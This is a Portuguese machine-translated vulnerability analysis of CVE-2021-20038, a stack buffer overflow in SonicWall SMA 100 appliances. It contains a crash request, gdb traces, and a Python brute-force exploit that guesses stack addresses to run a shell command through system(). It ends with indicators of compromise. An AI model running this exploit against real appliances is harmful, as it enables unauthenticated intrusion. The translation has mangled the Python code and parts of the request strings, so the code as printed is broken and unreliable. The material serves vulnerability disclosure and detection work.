SonicWall corrige problema crítico de execução remota
Em 7 de dezembro de 2021, a SonicWall lançou um novo firmware para sua série Secure Mobile Access (SMA) 100. A SonicWall emitiu um aviso de segurança em 11 de janeiro de 2022, notificando os usuários de que o lançamento de dezembro corrigiu os problemas de segurança encontrados pelo Rapid7.
O problema mais crítico, um estouro de buffer baseado em pilha não autenticado na interface da Web, permite que invasores remotos executem código arbitrário como o nobod y
usuário. A vulnerabilidade foi atribuída ao CVE-2021-20038 e possui uma pontuação CVSS de 9,8 .
Antes da publicação deste AttackerKB, não existia nenhuma prova pública de exploração de conceito. No entanto, esta entrada contém explorações de prova de conceito e uma discussão estendida sobre a criação de uma carga útil para obter a execução remota de código não autenticada. Este problema ainda não é conhecido por ter sido explorado na natureza.
Produtos afetados
As seguintes versões de firmware para a série SMA 100 são afetadas:
- 10.2.1.2-24sv e anteriores
- 10.2.1.1-19sv e anteriores
- 10.2.1.0-17v e anteriores
Nem as versões 9.x ou 10.2.0.x são afetadas.
Análise rápida7
Observe que os deslocamentos e endereços discutidos nesta análise são do SMA 10.2.1.1-19sv e podem variar um pouco entre as versões.
CVE-2021-20038 é um estouro de buffer baseado em pilha que ocorre dentro do httpd
binário. A série SonicWall SMA 100 usa uma versão modificada do servidor Apache HTTP. Uma das modificações do SonicWall introduziu essa vulnerabilidade. O problema surge de como as variáveis de ambiente são concatenadas em uma string dentro do mod_cgi.so
. Como o QUERY_STRING fornecido pelo invasor não está sujeito a nenhum tipo de verificação de comprimento, um invasor pode estourar um buffer baseado em pilha via strcat
.
Uma QUERY_STRING muito longa também fará com que futuras verificações de limites no buffer falhem devido a um estouro de número inteiro, resultando em uma série de strcat
chamadas que excedem ainda mais os limites do buffer baseado em pilha.
O seguinte comando curl demonstra o travamento do servidor HTTP:
albinolobster @ ubuntu: ~ $ onda --insecure "https://10.0.0.7/?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" curl: ( 52 ) resposta vazia do servidor
Do ponto de vista da chamada gdb
final strcat
, parece com o seguinte. Observe que o buffer vulnerável começa em 0xbfb6ae42 e deve ser limitado a 400 bytes.
Ponto de interrupção 1, 0xb69a88c3 em ?? () de /lib/mod_cgi.so (gdb) disas 0xb69a88c3,0xb69a88c8 Despejo do código do montador de 0xb69a88c3 para 0xb69a88c8: => 0xb69a88c3: chame 0xb69a6a0c <strcat@plt> Fim do dump do montador. (gdb) x/2wx $esp 0xbfb6acc0: 0xbfb6ae42 0x0969e9a8 (gdb) printf "%s\n", 0xbfb6ae42 10.0.0.9 QUERY_STRING = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA WAF_NOT_LICENSED = 1SCRIPT_URL = / SCRIPT_URI = https: //10.0.0.7/HTTPS=onHTTP_HOST=10.0.0.7HTTP_USER_AGENT=curl/7.74.0HTTP_ACCEPT=*/*SERVER_SIGNATURE=SERVER_SOFTWARE=SonicWALL SSL-VPN Web ServerSERVER_NAME = 10.0.0.7SERVER_ADDR=10.0.0.7SERVER_PORT=443REMOTE_ADDR=10.0.0.9DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsREQUEST_SCHEME=httpsCONTEXT_PREFIX=CONTEXT_DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsSERVER_ADMIN=root@sslvpnSCRIPT_FILENAME=/usr/src/EasyAccess/www/cgi-bin/staticContent=CGI-bin/staticContent=CGI-PORT=423326GATEWAY_INTERFACE /1.1SERVER_PROTOCOL=HTTP/1.1REQUEST_METHOD=GET (gdb) printf "%s\n", 0x0969e9a8 REQUEST_URI=/?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (gdb)
O estouro resulta em uma falha que ocorre devido a um acesso inválido à memória.
Sinal recebido do programa SIGSEGV, falha de segmentação. 0xb69a8fe9 em ?? () de /lib/mod_cgi.so (gdb) disas 0xb69a8fe6,0xb69a8ff9 Despejo do código do montador de 0xb69a8fe6 para 0xb69a8ff9: 0xb69a8fe6: mov 0x8(%ebp),%eax => 0xb69a8fe9: mov 0x110(%eax),%eax 0xb69a8fef: movl $0x2000,0x10(%esp) 0xb69a8ff7: movl $0x0,0x14(%esp) Fim do dump do montador. (gdb) imprimir $eax $1 = 1094795585 (gdb) x/1wx $eax 0x41414141: Não é possível acessar a memória no endereço 0x41414141 (gdb) bt #0 0xb69a8fe9 em ?? () de /lib/mod_cgi.so #1 0x41413f2f em ?? () #2 0x41414141 em ?? () #3 0x41414141 em ?? () #4 0x41414141 em ?? () #5 0x41414141 em ?? () #6 0x41414141 em ?? ()
Na saída do GDB acima, você pode ver que mod_cgi.so
tenta desreferenciar um ponteiro que foi armazenado em $ebp+8
, mas obtém o endereço inválido de 0x41414141
ou AAAA
. Isso faz parte da “carga útil” que enviamos na mensagem curl. Na verdade, podemos olhar para trás para $ebp-982
ver todo o array de ambiente que estourou o buffer:
(gdb) printf "%s\n", $ebp-982 10.0.0.9 QUERY_STRING = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA WAF_NOT_LICENSED = 1SCRIPT_URL = / SCRIPT_URI = https: //10.0.0.7/HTTPS=onHTTP_HOST=10.0.0.7HTTP_USER_AGENT=curl/7.74.0HTTP_ACCEPT=*/*SERVER_SIGNATURE=SERVER_SOFTWARE=SonicWALL SSL-VPN Web ServerSERVER_NAME = 10.0.0.7SERVER_ADDR=10.0.0.7SERVER_PORT=443REMOTE_ADDR=10.0.0.9DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsREQUEST_SCHEME=httpsCONTEXT_PREFIX=CONTEXT_DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsSERVER_ADMIN=root@sslvpnSCRIPT_FILENAME=/usr/src/EasyAccess/www/cgi-bin/staticContent=CGI-bin/staticContent=CGI-PORT=423326GATEWAY_INTERFACE /1.1SERVER_PROTOCOL=HTTP/1.1REQUEST_METHOD=GETREQUEST_URI=/?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASCRIPT_NAME=/index.html1REQUEST_METHOD = GETREQUEST_URI = /? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASCRIPT_NAME = / index.html1REQUEST_METHOD = GETREQUEST_URI = /? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASCRIPT_NAME = / index.html
mod_cgi.so
está tentando carregar *(*($ebp+8)+0x110)
para passá-lo como o primeiro parâmetro para ap_get_brigade
:
ap_get_brigade
é uma função normal do Apache httpd , então podemos facilmente procurar a fonte :
AP_DECLARE(apr_status_t) ap_get_brigade(ap_filter_t * próximo, apr_bucket_brigade * bb, modo ap_input_mode_t, apr_read_type_e bloco, apr_off_t readbytes) { if (next) { return next - > frec - > filter_func.in_func(next, bb, mode, block, bytes lidos); } retornar AP_NOBODY_READ; }
O parâmetro que sobrescrevemos com o buffer overflow é o primeiro parâmetro: ap_filter_t* next
. Este ponteiro, se não for nulo, é usado para chamar uma função armazenada na memória. Em teoria, como o invasor substituiu esse ponteiro, ele pode controlar a função que está sendo chamada, resultando em execução remota de código não autenticada.
Escrevendo um Exploit RCE
Em circunstâncias normais, um estouro de buffer baseado em pilha como esse normalmente seria explorado usando ret
para retornar a um endereço de escolha do invasor. No entanto, devido à forma como a lógica flui mod_cgi.so
, o invasor não pode alcançar um controlável ret
sem primeiro se deparar com uma longa série de possíveis violações de acesso à memória inevitáveis. Como tal, o vetor de exploração mais viável é controlando a chamada de função em ap_get_brigade
.
Antes de falarmos sobre escrever um exploit, precisamos entender as mitigações de exploração implantadas no sistema e como, em particular, httpd
são afetadas por elas.
root@sslvpn:~ # cat /proc/sys/kernel/randomize_va_space 2
Aqui podemos ver que a série SonicWall SMA 100 permite a randomização de layout de espaço de endereço completo (ASLR), o que significa que devemos esperar que a pilha, heap, bibliotecas e o executável principal sejam carregados em endereços aleatórios.
No entanto, existem algumas coisas httpd
que enfraquecem o ASLR. A primeira é que o executável principal, httpd
, não é compilado como um executável independente de posição, portanto não carrega com um endereço base aleatório. Previsivelmente, ele será carregado a 0x8048000
cada momento.
root@sslvpn:~ # cat /proc/26775/maps 08048000-080e0000 r-xp 00000000 01:00 100949 /usr/src/EasyAccess/bin/httpd 080e0000-080e3000 rw-p 00098000 01:00 100949 /usr/src/EasyAccess/bin/httpd 080e3000-080e6000 rw-p 00000000 00:00 0
Além disso, o httpd
servidor usa o recurso prefork do Apache .
root@sslvpn:~ # /usr/src/EasyAccess/bin/httpd -l Compilado em módulos: core.c mod_so.c http_core.c prefork.c
Isso significa que httpd
bifurca uma série de processos filho para lidar com solicitações HTTP recebidas. Isso é importante porque um processo filho bifurcado tem exatamente o mesmo layout de memória que o processo pai. O que significa que todos os filhos terão exatamente os mesmos endereços de pilha, heap e biblioteca que o processo pai. E, talvez igualmente importante notar, é que quando um processo filho falha, o httpd
executável principal simplesmente bifurca um novo para substituí-lo. O que abre a oportunidade para o invasor adivinhar endereços válidos.
A exploração ap_get_brigade
do nosso estouro é um pouco desafiadora, pois requer três desreferências e um layout de memória bastante específico para controlar a chamada da função. Nós escrevemos um pequeno programa para caçar tais gadgets, e finalmente encontramos alguns, mas eles não eram utilizáveis (por exemplo, apenas resultou em novas e frustrantes violações de acesso à memória).
Sem gadgets existentes, precisamos introduzir o padrão desejado no sistema. Isso significa obter o padrão no heap ou pilha e adivinhar sua localização corretamente. O espaço de heap para httpd
é realmente muito grande e, embora o invasor possa obter um padrão explorável na memória heap, prever o endereço para o qual o uclibc pode mallocá – lo não era um exercício que queríamos realizar (embora bastante provável). O que me deixou com a introdução do padrão explorável na pilha.
Há alguns benefícios em usar a pilha neste caso. A primeira delas é que, por httpd
ser um executável de 32 bits, o endereço superior da pilha tem apenas 11 bits de aleatoriedade aplicados a ele.
Byte 1 | Byte 2 | Bytes 3 | Byte 4 |
---|---|---|---|
0xbf | Bit mais alto sempre definido | 4 bits mais baixos sempre 0 para alinhamento de página | página alinhada (aka 0) |
O que significa que sabemos que o endereço superior da pilha sempre estará no intervalo de 0xbf800000 a 0xbffff000. O que reduz os possíveis endereços do topo da pilha para 2.047 possibilidades. Obviamente, precisamos adivinhar o endereço da $ebp+8
substituição real para obter nossa exploração. Mas, sabemos que vai estar em algum lugar perto do topo da faixa. Se ingenuamente forçarmos um intervalo de 0x2000 endereços para cada endereço de pilha superior, devemos adivinhar com sucesso o endereço correto em 16 milhões de solicitações HTTP.
16 milhões são tantos pedidos! Com certeza é. Mas lembre-se, esta é apenas uma abordagem ingênua, provavelmente muito melhorada por alguém que precisa disso para pousar. Estamos apenas estabelecendo que é possível. Mas ainda podemos reduzir um pouco mais essa contagem. Sabemos que nosso endereço de destino sempre estará alinhado ao 0
. O que reduz o número de solicitações necessárias para 1 milhão de solicitações HTTP.
Um leitor astuto e um desenvolvedor de exploração experiente pode apontar que podemos reduzir ainda mais o número de solicitações repetindo a exploração várias vezes em nossa carga útil. Uma ótima ideia! Infelizmente, temos que lidar com uma variedade de fatores que limitam nossa capacidade de repetir a exploração:
- A QUERY_STRING não tem a url decodificada, então não podemos (razoavelmente) usar a maior parte da exploração para realmente… explorar.
- A página solicitada obtém a URL decodificada, mas há limitações de tamanho e decodificação %00.
- O estouro de buffer baseado em pilha ocorre tão perto do topo da pilha que uma exploração que exceda 1700 bytes corre o risco de gerar uma violação de acesso à memória acessando o endereço superior +1 ou simplesmente sobrescrevendo uma variável global que possamos precisar mais tarde (por exemplo, o env[ ] ao chamar
system
). - Um monte de variáveis de ambiente desinteressantes, inúteis ou repetidas estão fora do nosso controle e preenchem muitos dos 1700 bytes.
Dadas essas restrições, escrevemos um exploit que tentou forçar o endereço explorável enviando todos os ~ 1 milhão de solicitações HTTP GET. Novamente, é preciso enfatizar que isso pode ser melhorado muito, e o seguinte serve apenas como uma coisa do tipo “isso é possível”.
import socket import ssl import time base = 0xbf800000 curr = base step = 0x1000 base_array = [] while curr != 0xbffff000 : base_array . anexar (atual) curr + = passo imprimir (" Gerado " + hex(len(base_array)) + " stack top addr " ) all_array = [] para base em base_array: search_start = base - 0x2800 search_end = base - 0x0800 curr = search_start while curr != search_end: curr + = 0x10 all_array . anexar (atual) imprimir (" Gerado " + hex(len(all_array)) + " pesquisar endereços " ) imprimir (" Enviando sploits... " ) para endereço em all_array: print (hex(endereço), end ='\r') address - = 0x110 address + = 4 # transforma bytes em url codificado um = (endereço >> 24 ) & 0x000000ff dois = (endereço >> 16 ) & 0x000000ff três = (endereço >> 8 ) & 0x000000ff quatro = (endereço & 0x000000ff ) se um == 0 ou dois == 0 ou três == 0 ou quatro == 0 : # o servidor não aceitará um byte nulo continue addr_one = b " % " + str . codificar(' {:02x} ' . formato (quatro,' x ' )) + b " % " + str . codificar(' {:02x} ' . formato (três,' x ' )) + b " % " + str . codificar(' {:02x} ' . formato (dois,' x ' )) + b " % " + str . codificar(' {:02x} ' . formato (um,'x')) endereço + = 0x110 endereço + = 4 # transforma bytes em url codificado one = (address >> 24 ) & 0x000000ff two = (address >> 16 ) & 0x000000ff three = (address >> 8 ) & 0x000000ff four = (address & 0x000000ff ) if one == 0x28 or two == 0x28 or three == 0x28 or four == 0x28 : # oh não o cara que escreveu isso é um hack! Deveria ter # deslocado a carga útil para que os metacaracteres não importassem. # tudo bem :( continua addr_two = b " % " + str . codificar(' {:02x} ' . formato (quatro,' x ' )) + b " % " + str . codificar(' {:02x} ' . formato (três,' x ' )) + b " % " + str . codificar(' {:02x} ' . formato (dois,' x ' )) + b " % " + str . codificar(' {:02x} ' . formato (um,'x')) system_addr = b " %64% b8 %06% 08 " shell_cmd = b " ;{touch,/tmp/lol}; " #payload = ((b"%94%d7%ba%bf") + (b"%a8%d8%ba%bf") + (b"%a8%d8%ba%bf") + (b"% 64%b8%06%08") + b";{touch,/tmp/lol};")*2 exploit = addr_one + addr_two + addr_two + system_addr + shell_cmd payload = exploit * 2 spray_pray = b " / " + payload + b " ? " + ( b ' z ' * 518 ) request = b ' GET ' + spray_pray + b ' \r \n \r \n ' meia = soquete . soquete (soquete . AF_INET, soquete . SOCK_STREAM) envolvidoSocket = ssl . wrap_socket(meia) wrapedSocket . conectar((" 10.0.0.7 " , 443 )) wrapedSocket . enviar pedido) wrapedSocket . recv( 1280 ) wrapedSocket . Fechar()
A parte mais interessante do exploit é a geração da requisição GET. Que, por exemplo, será algo assim para o servidor HTTP:
GET /%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf%64%b8%06%08;{touch,/tmp/lol};%04%d7%7f % G% 18% D8% 7f% GC% 18% D8% 7f% GC% 64% B8% 06% 08; {toque, / tmp / lol} ;? zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
A carga útil do exploit (que é repetida duas vezes, embora o exploit não capitalize isso) é de quatro endereços e uma string para passar para o sistema:
- 0xbf7fd704
- 0xbf7fd818
- 0xbf7fd818
- 0x0806b864
- ;{toque,/tmp/lol};
O primeiro endereço, quando adicionado com 0x110 e desreferenciado, será resolvido para o segundo endereço. Quando desreferenciado, o segundo endereço aponta para o terceiro e o terceiro endereço mais quatro pontos para o quarto, que será resolvido em uma chamada para system
. A string passada para system
começa em 0xbf7d818, então há um punhado de caracteres ruins antes de /bin/sh
atingir touch /tmp/lol
.
Testar a exploração em um destino com um endereço de pilha superior de 0xbfb6c000 resultou em exploração bem-sucedida após 4 horas e 43 minutos.
root@sslvpn:~ # date Qui 25 de novembro 03:29:39 PST 2021 root@sslvpn:~ # ls -l /tmp/lol ls: não é possível acessar /tmp/lol: Arquivo ou diretório inexistente root@sslvpn:~ # ls -l /tmp/lol -rw-r--r-- 1 ninguém ninguém 0 Nov 25 08:05 /tmp/lol
Como você pode ver, o atacante ganha a execução como nobody
.
O exploit acima é ruim por vários motivos. Alguns seguem:
- Poderia usar um padrão de repetição para adivinhar vários endereços em uma solicitação HTTP.
- Poderia usar um intervalo de varredura menor (0x800 – 0x2800 é um intervalo muito generoso).
- A exploração é interrompida se o endereço 3 tiver caracteres de shell incorretos (por exemplo,
(
).
A exploração também não considera problemas de alinhamento que ocorreriam devido a:
- O destino usando um nome de host que não é
sslvpn
. - Um IP de destino e um IP de host que não tenham 8 bytes.
- Uma porta de destino que não tenha 3 bytes de comprimento
- Uma porta de origem que não tenha 5 bytes de comprimento.
No entanto, isso por si só mostra que, mesmo com desafios, esse problema é absolutamente explorável e deve ser corrigido o mais rápido possível. Também abordamos vários desses problemas em uma exploração mais madura com uma carga útil armada que você pode encontrar no GitHub .
Indicadores de Compromisso
O ataque, especialmente como escrito acima, é bastante barulhento. O melhor lugar para procurar indicadores de comprometimento é o httpd.log
. Isso pode ser recuperado através da interface da web: Sistema –> Diagnóstico –> Relatório de Suporte Técnico –> Download do Relatório. O httpd.log
arquivo estará dentro do arquivo zip. Falhas de segmentação registradas são sinais potenciais de comprometimento. Aqui está um trecho do meu sistema httpd.log
após a exploração:
[Qui 25 de novembro 13:30:11.805181 2021] [core:notice] [pid 1779] AH00052: filho pid 30485 sinal de saída Falha de segmentação (11) [Qui 25 de novembro 13:30:11.805375 2021] [core:notice] [pid 1779] AH00052: filho pid 30486 exit signal Falha de segmentação (11) [Qui 25 de novembro 13:30:11.805571 2021] [core:notice] [pid 1779] AH00052: filho pid 30487 sinal de saída Falha de segmentação (11) [Qui 25 de novembro 13:30:11.805765 2021] [core:notice] [pid 1779] AH00052: filho pid 30488 exit signal Falha de segmentação (11) [Qui 25 de novembro 13:30:11.843348 2021] [core:notice] [pid 1779] AH00052: filho pid 30489 sinal de saída Falha de segmentação (11) [Qui 25 de novembro 13:30:11.843583 2021] [core:notice] [pid 1779] AH00052: filho pid 30490 exit signal Falha de segmentação (11) [Qui 25 de novembro 13:30:11.843785 2021] [core:notice] [pid 1779] AH00052: filho pid 30491 sinal de saída Falha de segmentação (11) [Qui 25 de novembro 13:30:11.843983 2021] [core:notice] [pid 1779] AH00052: filho pid 30492 exit signal Falha de segmentação (11) [Qui 25 de novembro 13:30:11.844214 2021] [core:notice] [pid 1779] AH00052: filho pid 30493 exit signal Falha de segmentação (11)
Realisticamente, um invasor pode excluir esse arquivo de log logo após explorar o sistema, mas vale a pena capturar tentativas de exploração e invasores que não se limpam adequadamente.
O status.txt
log também pode ser de interesse. Especificamente, ele exibe todas as ps
saídas mostrando todos os processos em execução. Infelizmente, revisar este log requer alguma familiaridade com coisas que devem e não devem estar sendo executadas no sistema, o que pode ser muito difícil de saber para um leigo. Revendo esta saída no meu sistema, podemos identificar facilmente gdb
e busybox
como anomalias.
Processos ----------------------------------------------------------------- PID DO USUÁRIO %CPU %MEM VSZ RSS TTY STAT START TIME COMANDO raiz 1 0,0 0,0 2068 584 ? Ss 27 de novembro 0:42 init [3] raiz 2 0,0 0,0 0 0 ? S Nov27 0:00 [kthreadd] raiz 3 0,0 0,0 0 0 ? S Nov27 0:00 [ksoftirqd/0] raiz 4 0,0 0,0 0 0 ? S Nov27 0:00 [kworker/0:0] raiz 5 0,0 0,0 0 0 ? S < Nov27 0:00 [kworker/0:0H] raiz 6 0,0 0,0 0 0 ? S 27 de novembro 0:00 [kworker/u4:0] raiz 7 0,0 0,0 0 0 ? S 27 de novembro 2:12 [rcu_sched] raiz 8 0,0 0,0 0 0 ? S 27 de novembro 0:00 [rcu_bh] raiz 9 0,0 0,0 0 0 ? S 27 de novembro 0:06 [migração/0] raiz 10 0,0 0,0 0 0 ? S 27 de novembro 0:15 [migração/1] raiz 11 0,0 0,0 0 0 ? S 27 de novembro 0:01 [ksoftirqd/1] raiz 13 0,0 0,0 0 0 ? S < 27 de novembro 0:00 [kworker/1:0H] raiz 14 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [khelper] raiz 15 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [redes] raiz 461 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [writeback] raiz 463 0,0 0,0 0 0 ? S < Nov27 0:00 [bioset] raiz 465 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [kbloqueado] root 622 0.0 0.0 0 0 ? S< Nov27 0:00 [ata_sff] raiz 632 0,0 0,0 0 0 ? S 27 de novembro 0:00 [khubd] raiz 742 0,0 0,0 0 0 ? S Nov27 0:01 [kworker/0:1] raiz 757 0,0 0,0 0 0 ? S 27 de novembro 0:00 [kswapd0] raiz 758 0,0 0,0 0 0 ? SN 27 de novembro 0:00 [ksmd] raiz 825 0,0 0,0 0 0 ? SN 27 de novembro 0:00 [khugpageged] raiz 826 0,0 0,0 0 0 ? S 27 de novembro 0:00 [fsnotify_mark] raiz 845 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [criptografia] raiz 1011 0,0 0,0 0 0 ? S Nov27 0:01 [kworker/1:1] raiz 1061 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [iscsi_eh] raiz 1065 0,0 0,0 0 0 ? S < Nov27 0:00 [kworker/0:1H] raiz 1069 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [fc_exch_workque] raiz 1070 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [fc_rport_eq] raiz 1071 0,0 0,0 0 0 ? S < 27 de novembro 0:00 [fcoethread/0] raiz 1072 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [fcoethread/1] raiz 1075 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [fnic_event_wq] raiz 1076 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [fnic_fip_q] raiz 1078 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [bnx2fc_l2_threa] raiz 1079 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [bnx2fc_thread/0] raiz 1080 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [bnx2fc_thread/1] raiz 1107 0,0 0,0 0 0 ? S 27 de novembro 0:00 [scsi_eh_0] raiz 1149 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [bnx2i_thread/0] raiz 1150 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [bnx2i_thread/1] raiz 1197 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [bond0] raiz 1244 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [cnic_wq] raiz 1246 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [cxgb4] raiz 1257 0,0 0,0 0 0 ? S Nov27 0:00 [kworker/1:2] raiz 1308 0,0 0,0 0 0 0? S <27 de novembro 0:00 [deferwq] raiz 1322 0,0 0,0 0 0 ? S 27 de novembro 0:00 [kjournald] raiz 1328 0,0 0,0 0 0 ? S< 27 de novembro 0:00 [loop0] raiz 1407 0,0 0,0 13752 2744 ? Sl Nov27 1:45 /usr/sbin/vmtoolsd raiz 1408 0,0 0,0 0 0 ? S < 27 de novembro 0:00 [kworker/1:1H] raiz 1435 0,0 0,0 2376 588 ? Ss 27 de novembro 0:00 /usr/sbin/fcron root 1447 0,0 0,4 19712 16996 pts/1 S+ 03:51 0:00 ./gdb -p 30092 raiz 1483 0,0 1,4 93152 59728 ? Sl 27 de novembro 0:55 /usr/bin/python3.6 /usr/src/EasyAccess/www/python/authentication_api/restful_api.py ninguém 1526 0,0 0,0 0 0 ? Z 03:52 0:00 [staticContent] <extinto> raiz 1551 0,0 0,2 20720 11124 ? Ss 27 de novembro 1:42 /usr/src/EasyAccess/bin/smm -d raiz 1627 0,0 0,0 1904 224 ? Ss 27 de novembro 0:00 /usr/sbin/ntpUpdate -d -i 3600 -p time.nist.gov -s time.windows.com raiz 1634 0,0 0,0 2120 596 ? Ss 27 de novembro 0:00 /usr/sbin/syslogd -m 0 raiz 1639 0,0 0,0 3136 1684 ? Ss 27 de novembro 0:00 /usr/sbin/klogd -c 1 raiz 1712 0,0 0,0 13208 1980 ? Ss 27 de novembro 0:00 /usr/sbin/crlUpdate -d -i 1440 root 1719 0.0 0.0 13828 1968 ? Ss Nov27 0:03 htcacheclean -nti -d60 -l5M -p/var/webcache raiz 1735 0,0 0,0 13164 1740 ? Ss 27 de novembro 0:00 